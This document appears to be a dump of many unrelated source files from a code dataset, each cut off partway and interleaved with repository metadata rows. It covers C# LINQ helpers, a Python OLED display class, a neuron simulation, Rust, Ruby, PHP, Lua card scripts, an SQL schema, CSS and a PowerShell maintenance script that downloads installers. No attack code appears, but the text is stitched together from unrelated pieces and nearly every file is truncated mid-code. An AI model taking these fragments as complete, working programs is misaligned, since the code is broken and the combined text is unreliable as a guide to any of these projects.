] | 66 | 2016-05-16T23:12:44.000Z | 2021-03-06T13:12:50.000Z | src/1.Framework/Vita/4.Internals/Data/Linq/Translation/ExpressionMutatorExtensions.cs | rivantsov/vita | d164701816b25dd67586c56b736c30a2c43bd767 | [
"MIT"
] | 207 | 2016-05-15T17:33:56.000Z | 2022-03-13T23:56:11.000Z | src/1.Framework/Vita/4.Internals/Data/Linq/Translation/ExpressionMutatorExtensions.cs | rivantsov/vita | d164701816b25dd67586c56b736c30a2c43bd767 | [
"MIT"
] | 20 | 2016-07-06T13:50:06.000Z | 2020-10-05T07:23:42.000Z |
using System;
using System.Collections.Generic;
using System.Linq;
using System.Linq.Expressions;
using Vita.Data.Linq.Translation.Expressions;
namespace Vita.Data.Linq.Translation {
internal static class ExpressionMutatorExtensions
{
/// <summary>
/// Enumerates all subexpressions relate... | 38.206522 | 132 | 0.586344 |
e222e3ee992c49276a838ad051cb0ebb5f371a0d | 1,618 | py | Python | display_ssd1306.py | mkvenkit/simple_audio_pi | 826d8ef9adfd480ac7676b34e10b8027441fe79c | [
"MIT"
] | 9 | 2021-02-20T02:54:35.000Z | 2022-02-15T16:36:49.000Z | display_ssd1306.py | mkvenkit/simple_audio_pi | 826d8ef9adfd480ac7676b34e10b8027441fe79c | [
"MIT"
] | null | null | null | display_ssd1306.py | mkvenkit/simple_audio_pi | 826d8ef9adfd480ac7676b34e10b8027441fe79c | [
"MIT"
] | 1 | 2021-09-02T09:58:52.000Z | 2021-09-02T09:58:52.000Z | """
display_ssd1306.py
Helper class for Adafruit_SSD1306. Displays text on 128x32 OLED display.
Author: Mahesh Venkitachalam
Website: electronut.in
"""
import Adafruit_GPIO.SPI as SPI
import Adafruit_SSD1306
from PIL import Image
from PIL import ImageDraw
from PIL import ImageFont
class SSD1306_D... | 33.020408 | 86 | 0.630408 |
472ef5b0dd43bdefdae7d704c4db60a42935a774 | 2,751 | swift | Swift | Templates/Xcode/Default.xctemplate/___FILEBASENAME___Module.swift | viaszkadi/VIPERA | 6a9ebfd85454c3d26b59b4c4ecf9031673461e57 | [
"WTFPL"
] | null | null | null | Templates/Xcode/Default.xctemplate/___FILEBASENAME___Module.swift | viaszkadi/VIPERA | 6a9ebfd85454c3d26b59b4c4ecf9031673461e57 | [
"WTFPL"
] | null | null | null | Templates/Xcode/Default.xctemplate/___FILEBASENAME___Module.swift | viaszkadi/VIPERA | 6a9ebfd85454c3d26b59b4c4ecf9031673461e57 | [
"WTFPL"
] | null | null | null | //
// ___FILENAME___
// ___PROJECTNAME___
//
// Created ___FULLUSERNAME___ on ___DATE___.
// Copyright © ___YEAR___ ___ORGANIZATIONNAME___. All rights reserved.
//
import Foundation
import UIKit
// MARK: - router
protocol ___VARIABLE_MODULE_NAME___RouterPresenterInterface: RouterPresenterInterface {
}
protoco... | 28.360825 | 95 | 0.755725 |
e280c8817629d452d98a7ce7731e4614c914e1a5 | 1,324 | py | Python | dbdaora/sorted_set/entity.py | dutradda/sqldataclass | 5c87a3818e9d736bbf5e1438edc5929a2f5acd3f | [
"MIT"
] | 21 | 2019-10-14T14:33:33.000Z | 2022-02-11T04:43:07.000Z | dbdaora/sorted_set/entity.py | dutradda/sqldataclass | 5c87a3818e9d736bbf5e1438edc5929a2f5acd3f | [
"MIT"
] | null | null | null | dbdaora/sorted_set/entity.py | dutradda/sqldataclass | 5c87a3818e9d736bbf5e1438edc5929a2f5acd3f | [
"MIT"
] | 1 | 2019-09-29T23:51:44.000Z | 2019-09-29T23:51:44.000Z | from typing import ( # type: ignore
Any,
Dict,
Optional,
Protocol,
Sequence,
Tuple,
Type,
TypeVar,
TypedDict,
Union,
_TypedDictMeta,
)
from dbdaora.data_sources.memory import RangeOutput
from dbdaora.entity import init_subclass
SortedSetInput = Sequence[Union[str, float]]... | 21.015873 | 75 | 0.674471 |
38aaea97676487b75e7c46fe9f8c53797c28b123 | 933 | php | PHP | tests/EventObjectStorePerformanceTestIntegration.php | mad654/php-event-store | 6c445cfa61fe69b248f395db4434dce551e8e69d | [
"MIT"
] | null | null | null | tests/EventObjectStorePerformanceTestIntegration.php | mad654/php-event-store | 6c445cfa61fe69b248f395db4434dce551e8e69d | [
"MIT"
] | null | null | null | tests/EventObjectStorePerformanceTestIntegration.php | mad654/php-event-store | 6c445cfa61fe69b248f395db4434dce551e8e69d | [
"MIT"
] | null | null | null | <?php
namespace mad654\eventstore;
use mad654\eventstore\example\LightSwitch;
use mad654\eventstore\FileEventStream\FileEventStreamFactory;
use mad654\eventstore\TestCase\FileTestCase;
class EventObjectStorePerformanceTestIntegration extends FileTestCase
{
/**
* @test
*/
public function get_single... | 27.441176 | 99 | 0.654877 |
d7069b51f7b218bc00bb33623b559206246d0ce0 | 604 | kt | Kotlin | src/main/kotlin/io/dkozak/eobaly/controller/AuthenticationController.kt | d-kozak/webpage-parser | f1eb7334dfae0d8207fad176a87da9c98019cd4b | [
"MIT"
] | null | null | null | src/main/kotlin/io/dkozak/eobaly/controller/AuthenticationController.kt | d-kozak/webpage-parser | f1eb7334dfae0d8207fad176a87da9c98019cd4b | [
"MIT"
] | null | null | null | src/main/kotlin/io/dkozak/eobaly/controller/AuthenticationController.kt | d-kozak/webpage-parser | f1eb7334dfae0d8207fad176a87da9c98019cd4b | [
"MIT"
] | null | null | null | package io.dkozak.eobaly.controller
import org.springframework.stereotype.Controller
import org.springframework.ui.Model
import org.springframework.ui.set
import org.springframework.web.bind.annotation.GetMapping
@Controller
class AuthenticationController {
@GetMapping("/login")
fun login() = "login.html"
... | 22.37037 | 57 | 0.688742 |
c99acd19a258611205f41343c5551d68811e0dda | 406 | ts | TypeScript | test.ts | satyarohith/deno_local_file_fetch | a464f5615be68be47d05114a0f5b32ccb2c26038 | [
"MIT"
] | null | null | null | test.ts | satyarohith/deno_local_file_fetch | a464f5615be68be47d05114a0f5b32ccb2c26038 | [
"MIT"
] | null | null | null | test.ts | satyarohith/deno_local_file_fetch | a464f5615be68be47d05114a0f5b32ccb2c26038 | [
"MIT"
] | null | null | null | import "./mod.ts";
import { assertEquals } from "https://deno.land/std@0.74.0/testing/asserts.ts";
Deno.test("fetch local file URL", async () => {
const req = await fetch(new URL("./fixtures/test.json", import.meta.url));
assertEquals(req.status, 200);
assertEquals(req.headers.get("content-type"), "application/j... | 36.909091 | 79 | 0.674877 |
7f509aa534cc771063d24260617bc2aae5457078 | 1,983 | php | PHP | src/Event/ProophVersionUpcastingMessageFactory.php | proophsoftware/mongo-read-event-store | 565cf8d1d7a9151e6819510fbac062a4f4dda073 | [
"BSD-3-Clause"
] | 2 | 2017-04-28T20:11:46.000Z | 2017-04-28T20:23:06.000Z | src/Event/ProophVersionUpcastingMessageFactory.php | proophsoftware/mongo-read-event-store | 565cf8d1d7a9151e6819510fbac062a4f4dda073 | [
"BSD-3-Clause"
] | null | null | null | src/Event/ProophVersionUpcastingMessageFactory.php | proophsoftware/mongo-read-event-store | 565cf8d1d7a9151e6819510fbac062a4f4dda073 | [
"BSD-3-Clause"
] | null | null | null | <?php
/**
* This file is part of the proophsoftware/mongo-read-event-store.
* (c) 2017 prooph software GmbH <contact@prooph.de>
*
* For the full copyright and license information, please view the LICENSE
* file that was distributed with this source code.
*/
declare(strict_types=1);
namespace Prooph\ReadOnlyMongo... | 31.47619 | 92 | 0.603127 |
ccd4c15fa91d108adaf2957c818e96e08c4a4d60 | 742 | rb | Ruby | app/models/ban.rb | Yaze/moebooru | 1c1230b12ba9e7386af5e4c7c457094c9eee0d17 | [
"0BSD"
] | 1 | 2015-02-05T19:43:45.000Z | 2015-02-05T19:43:45.000Z | app/models/ban.rb | neplus/moebooru | bfd91cf63c8e9421354dce46378dd62fe90ab0b2 | [
"0BSD"
] | null | null | null | app/models/ban.rb | neplus/moebooru | bfd91cf63c8e9421354dce46378dd62fe90ab0b2 | [
"0BSD"
] | null | null | null | class Ban < ActiveRecord::Base
before_create :save_level
after_create :save_to_record
after_create :update_level
after_destroy :restore_level
def restore_level
User.find(user_id).update_attribute(:level, old_level)
end
def save_level
self.old_level = User.find(user_id).level
end
def update_... | 21.823529 | 138 | 0.706199 |
b05367807d977b790052d5901c99cdeee135137c | 97 | py | Python | lsunmodel/__init__.py | Hourout/lsunmodel | 176dcf0a97016830841589c51443d0b48ac90dcd | [
"Apache-2.0"
] | null | null | null | lsunmodel/__init__.py | Hourout/lsunmodel | 176dcf0a97016830841589c51443d0b48ac90dcd | [
"Apache-2.0"
] | null | null | null | lsunmodel/__init__.py | Hourout/lsunmodel | 176dcf0a97016830841589c51443d0b48ac90dcd | [
"Apache-2.0"
] | null | null | null | # from lsunmodel import datasets
# from lsunmodel import trainer
from lsunmodel import predictor
| 24.25 | 32 | 0.835052 |
b36a11a52537268fd878e410e54cd635db94dd2d | 3,980 | py | Python | codes/s3-3_HH.py | HiroshiARAKI/snn_from_scratch | e26e7ce2bbebaa35ad3e325c09f05c334d753049 | [
"MIT"
] | 7 | 2021-01-30T16:04:32.000Z | 2022-02-22T05:06:21.000Z | codes/s3-3_HH.py | HiroshiARAKI/snn_from_scratch | e26e7ce2bbebaa35ad3e325c09f05c334d753049 | [
"MIT"
] | null | null | null | codes/s3-3_HH.py | HiroshiARAKI/snn_from_scratch | e26e7ce2bbebaa35ad3e325c09f05c334d753049 | [
"MIT"
] | 2 | 2021-06-10T08:18:11.000Z | 2021-09-17T08:25:26.000Z | """
ゼロから学ぶスパイキングニューラルネットワーク
- Spiking Neural Networks from Scratch
Copyright (c) 2020 HiroshiARAKI. All Rights Reserved.
"""
import numpy as np
import matplotlib.pyplot as plt
class HodgkinHuxley:
def __init__(self, time, dt, rest=-65., Cm=1.0, gNa=120., gK=36., gl=0.3, ENa=50., EK=-77., El=-54.387):
""... | 27.448276 | 108 | 0.526131 |
b41b0cea19e1f40177d1b6e1ba18fc98e6dfd42c | 6,054 | rs | Rust | components/sup/src/package/updater.rs | rrxtns/habitat | 0ed0a22d8906cc7e55ca1bc2dbed7c6d4045587d | [
"Apache-2.0"
] | null | null | null | components/sup/src/package/updater.rs | rrxtns/habitat | 0ed0a22d8906cc7e55ca1bc2dbed7c6d4045587d | [
"Apache-2.0"
] | 2 | 2021-05-20T23:44:08.000Z | 2021-09-28T05:46:05.000Z | components/sup/src/package/updater.rs | rrxtns/habitat | 0ed0a22d8906cc7e55ca1bc2dbed7c6d4045587d | [
"Apache-2.0"
] | null | null | null | // Copyright (c) 2016 Chef Software Inc. and/or applicable contributors
//
// Licensed under the Apache License, Version 2.0 (the "License");
// you may not use this file except in compliance with the License.
// You may obtain a copy of the License at
//
// http://www.apache.org/licenses/LICENSE-2.0
//
// Unless r... | 37.141104 | 107 | 0.546911 |
d83dcb1675af31ccc59439db66fa3d97be74016a | 540 | rb | Ruby | lib/administrate_collapsible_navigation.rb | mrysav/administrate_collapsible_navigation | e09894fc6c4adec12b84d1365172b9c480f6f314 | [
"MIT"
] | 1 | 2020-03-24T13:40:16.000Z | 2020-03-24T13:40:16.000Z | lib/administrate_collapsible_navigation.rb | mrysav/administrate_collapsible_navigation | e09894fc6c4adec12b84d1365172b9c480f6f314 | [
"MIT"
] | 7 | 2019-03-24T23:52:56.000Z | 2021-05-27T01:14:04.000Z | lib/administrate_collapsible_navigation.rb | mrysav/administrate_collapsible_navigation | e09894fc6c4adec12b84d1365172b9c480f6f314 | [
"MIT"
] | 2 | 2020-03-24T20:27:03.000Z | 2021-05-27T00:17:58.000Z | require 'administrate_collapsible_navigation/version'
require 'administrate/engine'
module AdministrateCollapsibleNavigation
class Engine < ::Rails::Engine
initializer "administrate_collapsible_navigation.assets.precompile" do |app|
app.config.assets.precompile += %w( menu_open.png menu_closed.png )
en... | 28.421053 | 80 | 0.775926 |
dbf9fd7a0551ac94c5f54d4eae43b36c79d2fcd3 | 28,041 | php | PHP | application/models/discount/Discount_rule_model.php | sutouch08/wms | 42d4b3fc459837ecd9d0ca0c32a0043061b3511f | [
"MIT"
] | null | null | null | application/models/discount/Discount_rule_model.php | sutouch08/wms | 42d4b3fc459837ecd9d0ca0c32a0043061b3511f | [
"MIT"
] | null | null | null | application/models/discount/Discount_rule_model.php | sutouch08/wms | 42d4b3fc459837ecd9d0ca0c32a0043061b3511f | [
"MIT"
] | null | null | null | <?php
class Discount_rule_model extends CI_Model
{
public function __construct()
{
parent::__construct();
}
public function add(array $ds = array())
{
$rs = $this->db->insert('discount_rule', $ds);
if($rs)
{
return $this->db->insert_id();
}
return FALSE;
}
public functi... | 22.450761 | 113 | 0.559181 |
2f0b655a19b075ecf78018be2c999286ddd5ed70 | 8,305 | js | JavaScript | subsystem/enjs_overload.js | phoxy/phoxy | 45aefc229e86a1d17404ccfd771f74b503c71447 | [
"Apache-2.0"
] | 1 | 2015-10-28T18:27:05.000Z | 2015-10-28T18:27:05.000Z | subsystem/enjs_overload.js | phoxy/phoxy | 45aefc229e86a1d17404ccfd771f74b503c71447 | [
"Apache-2.0"
] | 91 | 2015-06-21T03:29:39.000Z | 2017-11-29T14:12:54.000Z | subsystem/enjs_overload.js | phoxy/phoxy | 45aefc229e86a1d17404ccfd771f74b503c71447 | [
"Apache-2.0"
] | 4 | 2015-06-12T19:17:09.000Z | 2016-04-14T10:19:08.000Z | /***
* Overloading EJS method: this.DeferCascade, this.DeferRender etc.
***/
phoxy.OverrideENJS =
{
_: {}
};
phoxy._.enjs =
{
OverloadENJSCanvas: function()
{
EJS.Canvas.prototype.recursive = 0;
phoxy.state.RenderCalls = 0;
phoxy._.internal.Override(EJS.Canvas.prototype, 'RenderCompleted... | 30.09058 | 121 | 0.628898 |
f422b0931daacebb33d5518959d22fa83c77642a | 19,188 | cs | C# | Configuration/Paths.cs | RW74/StockSharp | 6071725d2a0fb1aceea6977cd5184221dd3133be | [
"Apache-2.0"
] | 5,213 | 2015-03-25T21:44:36.000Z | 2022-03-31T17:10:14.000Z | Configuration/Paths.cs | ywscr/StockSharp | 9471f2e26135e5fc98e66950a360adaed8264a7c | [
"Apache-2.0"
] | 150 | 2015-03-23T21:07:37.000Z | 2020-10-05T05:35:56.000Z | Configuration/Paths.cs | ywscr/StockSharp | 9471f2e26135e5fc98e66950a360adaed8264a7c | [
"Apache-2.0"
] | 1,638 | 2015-03-24T17:10:13.000Z | 2022-03-30T05:33:04.000Z | namespace StockSharp.Configuration
{
using System;
using System.IO;
using System.Linq;
using System.Reflection;
using System.Threading;
using System.Collections.Generic;
using Ecng.Common;
using Ecng.Security;
using Ecng.Configuration;
using Ecng.Serialization;
using Ecng.ComponentModel;
using Ecng.Locali... | 29.52 | 167 | 0.660413 |
c6b8d2b3cd466d699843b4ad1fb86e101ccc464a | 2,615 | css | CSS | css/seasons.css | edivaldolluisb/Formula_1 | 0f1d84a39f648ab6af8fb3d2de2c98e8b864723f | [
"MIT"
] | null | null | null | css/seasons.css | edivaldolluisb/Formula_1 | 0f1d84a39f648ab6af8fb3d2de2c98e8b864723f | [
"MIT"
] | null | null | null | css/seasons.css | edivaldolluisb/Formula_1 | 0f1d84a39f648ab6af8fb3d2de2c98e8b864723f | [
"MIT"
] | null | null | null | @import url('https://fonts.googleapis.com/css2?family=Racing+Sans+One&display=swap');
#rankers_3{
display: flex;
flex-direction: row;
align-items: center;
justify-content: center;
gap: 1rem;
padding-top: 5rem;
}
/*#rankers_3 > div:nth-child(2){
height: 25rem;
padding-bottom: 2rem;
}*... | 17.091503 | 85 | 0.634417 |
7b2e60f67cfef4a8eb88c7558129e2f2a5cb827c | 1,065 | rb | Ruby | app/models/flogiston/layout.rb | flogic/flogiston-cms | bee42188bf63e50974f152ee82c14634fdec7ba2 | [
"MIT"
] | 1 | 2016-05-09T06:02:59.000Z | 2016-05-09T06:02:59.000Z | app/models/flogiston/layout.rb | flogic/flogiston-cms | bee42188bf63e50974f152ee82c14634fdec7ba2 | [
"MIT"
] | null | null | null | app/models/flogiston/layout.rb | flogic/flogiston-cms | bee42188bf63e50974f152ee82c14634fdec7ba2 | [
"MIT"
] | null | null | null | class Flogiston::Layout < Flogiston::AbstractPage
validates_uniqueness_of :handle
validates_presence_of :handle
def self.default
first(:conditions => { :default => true })
end
def make_default!
Layout.update_all({ :default => false }, "id <> #{self.id}")
update_attributes!(:default => true)
... | 20.09434 | 64 | 0.652582 |
8e67e84f3b1ed13a5a0c8dbf7d4d5f337cf2697c | 651 | rb | Ruby | app/jobs/dttp/sync_accounts_job.rb | DFE-Digital/register-trainee-teacher-data | 4e71073f39a3f76409786a201ffc209df7e84173 | [
"MIT"
] | null | null | null | app/jobs/dttp/sync_accounts_job.rb | DFE-Digital/register-trainee-teacher-data | 4e71073f39a3f76409786a201ffc209df7e84173 | [
"MIT"
] | 70 | 2020-08-25T08:52:41.000Z | 2020-10-08T08:49:20.000Z | app/jobs/dttp/sync_accounts_job.rb | DFE-Digital/register-trainee-teacher-data | 4e71073f39a3f76409786a201ffc209df7e84173 | [
"MIT"
] | null | null | null | # frozen_string_literal: true
module Dttp
class SyncAccountsJob < ApplicationJob
queue_as :dttp
def perform(request_uri = nil)
@account_list = RetrieveAccounts.call(request_uri: request_uri)
Account.upsert_all(account_attributes, unique_by: :dttp_id)
Dttp::SyncAccountsJob.perform_later(n... | 20.34375 | 76 | 0.725038 |
a14d03c58320380dbeef43480fca5e9da7898633 | 2,201 | ts | TypeScript | src/visualizations/symbol.ts | sgratzl/cytoscape.js-overlays | 4b0c36a6f10b62885e66d53a803e328353232c44 | [
"MIT"
] | 10 | 2020-07-20T15:50:07.000Z | 2022-01-03T10:48:08.000Z | src/visualizations/symbol.ts | sgratzl/cytoscape.js-overlays | 4b0c36a6f10b62885e66d53a803e328353232c44 | [
"MIT"
] | 2 | 2021-03-30T07:51:31.000Z | 2021-05-26T20:25:23.000Z | src/visualizations/symbol.ts | sgratzl/cytoscape.js-overlays | 4b0c36a6f10b62885e66d53a803e328353232c44 | [
"MIT"
] | 1 | 2021-09-24T22:21:43.000Z | 2021-09-24T22:21:43.000Z | import {
symbolCircle,
symbolCross,
symbolDiamond,
symbolSquare,
symbolStar,
symbolTriangle,
SymbolType,
symbolWye,
} from 'd3-shape';
import { INodeFunction, IVisualization } from './interfaces';
import { resolveFunction } from './utils';
const symbols = {
circle: symbolCircle,
cross: symbolCross,... | 25.011364 | 100 | 0.636075 |
f41f62b51c168260824700040ea0a4d5d2b47bf1 | 1,347 | cs | C# | Dictionaries, Lambda and LINQ/1. Phonebook - Exercises/Phonebook.cs | alexandrateneva/Programming-Fundamentals-SoftUni | 714fa8b04f97ece21f4eeb04868c741148c180fb | [
"MIT"
] | null | null | null | Dictionaries, Lambda and LINQ/1. Phonebook - Exercises/Phonebook.cs | alexandrateneva/Programming-Fundamentals-SoftUni | 714fa8b04f97ece21f4eeb04868c741148c180fb | [
"MIT"
] | null | null | null | Dictionaries, Lambda and LINQ/1. Phonebook - Exercises/Phonebook.cs | alexandrateneva/Programming-Fundamentals-SoftUni | 714fa8b04f97ece21f4eeb04868c741148c180fb | [
"MIT"
] | null | null | null | namespace _1.Phonebook___Exercises
{
using System;
using System.Collections.Generic;
using System.Linq;
public class Phonebook
{
public static void Main()
{
string command = null;
var result = new List<string>();
var phoneBook = new Dictionary<st... | 29.933333 | 91 | 0.393467 |
8ef3b95ef49e940a84c5c863cdaabb149eccd46e | 395 | kt | Kotlin | app/src/main/java/app/foodtracker/de/foodtracker/Presenter/Extensions.kt | jofranz/FoodTrackerAndroid | fa38e89dbf93b6e40c0038380542e279a3cc644f | [
"FTL"
] | 1 | 2018-01-24T17:51:10.000Z | 2018-01-24T17:51:10.000Z | app/src/main/java/app/foodtracker/de/foodtracker/Presenter/Extensions.kt | jofranz/FoodTrackerAndroid | fa38e89dbf93b6e40c0038380542e279a3cc644f | [
"FTL"
] | null | null | null | app/src/main/java/app/foodtracker/de/foodtracker/Presenter/Extensions.kt | jofranz/FoodTrackerAndroid | fa38e89dbf93b6e40c0038380542e279a3cc644f | [
"FTL"
] | null | null | null | package app.foodtracker.de.foodtracker.Presenter
import android.support.annotation.LayoutRes
import android.view.LayoutInflater
import android.view.View
import android.view.ViewGroup
/**
* Created by normen on 06.11.17.
*/
fun ViewGroup.inflate(@LayoutRes layoutRes: Int, attachToRoot: Boolean = false): View {
r... | 28.214286 | 87 | 0.794937 |
5ae8fb5496af06de9414c30c5083bf9ef92e1ad6 | 5,651 | cs | C# | framework/Furion/DataValidation/Extensions/DataValidationExtensions.cs | dannylincn/Furion | 44a18b894a9bba045179a8c90801ff500f5c9d78 | [
"Apache-2.0"
] | 1 | 2021-06-10T10:11:07.000Z | 2021-06-10T10:11:07.000Z | framework/Furion/DataValidation/Extensions/DataValidationExtensions.cs | dannylincn/Furion | 44a18b894a9bba045179a8c90801ff500f5c9d78 | [
"Apache-2.0"
] | null | null | null | framework/Furion/DataValidation/Extensions/DataValidationExtensions.cs | dannylincn/Furion | 44a18b894a9bba045179a8c90801ff500f5c9d78 | [
"Apache-2.0"
] | null | null | null | // -----------------------------------------------------------------------------
// 让 .NET 开发更简单,更通用,更流行。
// Copyright © 2020-2021 Furion, 百小僧, Baiqian Co.,Ltd.
//
// 框架名称:Furion
// 框架作者:百小僧
// 框架版本:2.8.3
// 源码地址:Gitee: https://gitee.com/dotnetchina/Furion
// Github:https://github.com/monksoul/Furion
// 开源协议:... | 38.705479 | 144 | 0.580959 |
da33b09796e5c22d4e1c22b28455b0408f8dd58e | 551 | php | PHP | application/controllers/Detail.php | Elijah8802/projectshark | c7d946734caac5e4e77c66f0177b6443f0650af0 | [
"MIT"
] | null | null | null | application/controllers/Detail.php | Elijah8802/projectshark | c7d946734caac5e4e77c66f0177b6443f0650af0 | [
"MIT"
] | null | null | null | application/controllers/Detail.php | Elijah8802/projectshark | c7d946734caac5e4e77c66f0177b6443f0650af0 | [
"MIT"
] | null | null | null | <?php
defined('BASEPATH') OR exit('No direct script access allowed');
class Detail extends CI_Controller {
public function __construct()
{
parent::__construct();
$this->load->model('DetailModel');//Model insert here
}
public function index()
{
$id = (int)$_GET["id"];
//$id = 37013900; //sample shark id... | 22.04 | 74 | 0.676951 |
79cf0885876660c8c0bfca9fad8c8c9528526052 | 15,879 | php | PHP | resources/views/dashboard/orders/show.blade.php | dev3bbas/so3rat | fa42bf0ac2a61608fef7b3753eee9352e15d1db4 | [
"MIT"
] | null | null | null | resources/views/dashboard/orders/show.blade.php | dev3bbas/so3rat | fa42bf0ac2a61608fef7b3753eee9352e15d1db4 | [
"MIT"
] | null | null | null | resources/views/dashboard/orders/show.blade.php | dev3bbas/so3rat | fa42bf0ac2a61608fef7b3753eee9352e15d1db4 | [
"MIT"
] | null | null | null | @extends('layouts.dashboard')
@section('content')
<div class="app-content content">
<div class="content-wrapper">
<div class="content-header row">
<div class="content-header-left col-md-6 col-12 mb-2">
<div class="row breadcrumbs-top">
... | 72.177273 | 174 | 0.227218 |
e3dc2ae6572c768e346b8d34e556ec35d94a0d9b | 3,264 | lua | Lua | scripts/AC02-JP/c100290008.lua | Zayelion/ygopro-pre-script | c1d06d8824aa8398023cd41d9207d4704580eb3c | [
"Unlicense"
] | null | null | null | scripts/AC02-JP/c100290008.lua | Zayelion/ygopro-pre-script | c1d06d8824aa8398023cd41d9207d4704580eb3c | [
"Unlicense"
] | 2 | 2016-01-07T20:41:53.000Z | 2016-01-08T06:25:15.000Z | scripts/AC02-JP/c100290008.lua | Zayelion/ygopro-pre-script | c1d06d8824aa8398023cd41d9207d4704580eb3c | [
"Unlicense"
] | null | null | null | --ENシャッフル
--
--Script by Trishula9 & mercury233
function c100290008.initial_effect(c)
aux.AddCodeList(c,89943723)
aux.AddSetNameMonsterList(c,0x3008)
--spsummon
local e1=Effect.CreateEffect(c)
e1:SetCategory(CATEGORY_TODECK+CATEGORY_SPECIAL_SUMMON)
e1:SetType(EFFECT_TYPE_ACTIVATE)
e1:SetCode(EVENT_FREE_CHAIN)
e... | 40.296296 | 107 | 0.798407 |
21ce7130a6038b168dee6d9536818a7d0273af34 | 1,837 | js | JavaScript | public/index.js | SaiSrichandra/Link-Previwer | 64468c7490f5102705270e9442e7d9a0da03a2d4 | [
"MIT"
] | null | null | null | public/index.js | SaiSrichandra/Link-Previwer | 64468c7490f5102705270e9442e7d9a0da03a2d4 | [
"MIT"
] | null | null | null | public/index.js | SaiSrichandra/Link-Previwer | 64468c7490f5102705270e9442e7d9a0da03a2d4 | [
"MIT"
] | null | null | null | const getInfo = async (e) => {
e.preventDefault();
url = textBox.value
if (! url.startsWith("http")) {
url = "http://" + url
}
if (url){
try {
resp = await fetch('http://localhost:3000/scrape', {
method : "POST",
body : JSON.st... | 27.41791 | 79 | 0.534023 |
437b16b2e30cc7f2f5b0d36c6ac0a5afd1eea29f | 418 | tsx | TypeScript | src/components/Naver/NaverDetailsModal/ImageLoader/index.tsx | gustavomaltez/navedex-frontend-challenge | d5d54281b9dbbc08e603342de36bcddb30d45a24 | [
"MIT"
] | 1 | 2021-03-06T18:06:29.000Z | 2021-03-06T18:06:29.000Z | src/components/Naver/NaverDetailsModal/ImageLoader/index.tsx | gustavomaltez/navedex-frontend-challenge | d5d54281b9dbbc08e603342de36bcddb30d45a24 | [
"MIT"
] | null | null | null | src/components/Naver/NaverDetailsModal/ImageLoader/index.tsx | gustavomaltez/navedex-frontend-challenge | d5d54281b9dbbc08e603342de36bcddb30d45a24 | [
"MIT"
] | null | null | null | import React from 'react';
import ContentLoader from 'react-content-loader';
const ImageLoader: React.FC = () => {
return (
<ContentLoader
speed={2}
viewBox="0 0 400 400"
style={{ width: '100%' }}
backgroundColor="#f3f3f3"
foregroundColor="#ecebeb"
>
<rect x="20" y="20" rx... | 22 | 67 | 0.595694 |
7aabadfe87cc23bc913f2f4e724856dccb2996da | 8,688 | sql | SQL | src/main/resources/db/migration/V001__initial-creation-of-tables.sql | GabrielDiasgd/Store | b12059cb6ff632d8ec18e58a2a9a52691cc9535d | [
"Apache-2.0"
] | 2 | 2021-02-11T17:29:27.000Z | 2022-01-03T20:05:22.000Z | src/main/resources/db/migration/V001__initial-creation-of-tables.sql | GabrielDiasgd/Store | b12059cb6ff632d8ec18e58a2a9a52691cc9535d | [
"Apache-2.0"
] | null | null | null | src/main/resources/db/migration/V001__initial-creation-of-tables.sql | GabrielDiasgd/Store | b12059cb6ff632d8ec18e58a2a9a52691cc9535d | [
"Apache-2.0"
] | null | null | null | CREATE TABLE IF NOT EXISTS state (
`id` bigint unsigned NOT NULL AUTO_INCREMENT,
`name` VARCHAR(45) NOT NULL,
`date_creation` DATETIME NOT NULL DEFAULT CURRENT_TIMESTAMP,
`date_update` DATETIME NULL ON UPDATE CURRENT_TIMESTAMP,
PRIMARY KEY (`id`))
ENGINE = InnoDB;
CREATE TABLE IF NOT EXISTS city (
`id` big... | 32.297398 | 71 | 0.726519 |
31e46511955a33d6c02d8a956b47e7c216159e3b | 15,824 | ps1 | PowerShell | MC.ps1 | briantehowenerer/Maintenance-Checkup | 7a8e4e5b78db1fb800ea8442168810f11d67dc62 | [
"BSD-3-Clause"
] | 1 | 2022-03-28T16:45:23.000Z | 2022-03-28T16:45:23.000Z | MC.ps1 | briantehowenerer/Maintenance-Checkup | 7a8e4e5b78db1fb800ea8442168810f11d67dc62 | [
"BSD-3-Clause"
] | null | null | null | MC.ps1 | briantehowenerer/Maintenance-Checkup | 7a8e4e5b78db1fb800ea8442168810f11d67dc62 | [
"BSD-3-Clause"
] | null | null | null | Clear-Host
##Initialize Variables
$DesktopPath = [Environment]::GetFolderPath("Desktop")
$SecureUpdaterurl = "https://secureupdater.s3.us-east-2.amazonaws.com/downloads/SecureUpdater.msi"
$SUoutpath = "$PSScriptRoot\SecureUpdater.msi"
$DriveAdvisorurl = "https://secureupdater.s3.us-east-2.amazonaws.com/downloads/drivea... | 44.32493 | 317 | 0.742101 |
da48d316f9e7f7e74343e134a7d9ae403bf6f879 | 1,922 | php | PHP | src/Controller/StatusController.php | H3R0M0/servicecenter | 57bdbe83e0466cbf1e0fc22b6f085bbbba2c260a | [
"MIT"
] | 1 | 2021-08-31T08:15:27.000Z | 2021-08-31T08:15:27.000Z | src/Controller/StatusController.php | Wiwaltill/servicecenter | 1f6fba32ed846dbf2dfe6fb6dee2da7799725e41 | [
"MIT"
] | 37 | 2020-01-05T15:00:32.000Z | 2022-02-07T18:22:48.000Z | src/Controller/StatusController.php | Wiwaltill/servicecenter | 1f6fba32ed846dbf2dfe6fb6dee2da7799725e41 | [
"MIT"
] | 3 | 2020-06-27T00:11:14.000Z | 2021-06-15T06:35:30.000Z | <?php
namespace App\Controller;
use App\Entity\Announcement;
use App\Entity\Device;
use App\Entity\Room;
use App\Helper\Status\CurrentStatusHelper;
use App\Repository\AnnouncementRepositoryInterface;
use SchulIT\CommonBundle\Helper\DateHelper;
use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
use Symf... | 31.508197 | 131 | 0.657128 |
c3d13f750bff0f07a14062245a5161ac6627318b | 230 | cs | C# | HabrCacheQueryInfrastructure/IQuery/IQuery.cs | brager17/Cached-Query | 7a4fbcc08b9c2c9cc8be0b1663f1104bc29edfff | [
"MIT"
] | 1 | 2019-05-25T07:50:08.000Z | 2019-05-25T07:50:08.000Z | HabrCacheQueryInfrastructure/IQuery/IQuery.cs | brager17/Cached-Query | 7a4fbcc08b9c2c9cc8be0b1663f1104bc29edfff | [
"MIT"
] | null | null | null | HabrCacheQueryInfrastructure/IQuery/IQuery.cs | brager17/Cached-Query | 7a4fbcc08b9c2c9cc8be0b1663f1104bc29edfff | [
"MIT"
] | null | null | null | using System.Threading.Tasks;
namespace HabrCacheQuery.Query
{
public interface IQuery<TIn, TOut>
{
TOut Query(TIn input);
}
public interface IAsyncQuery<TIn, TOut> : IQuery<TIn, Task<TOut>>
{
}
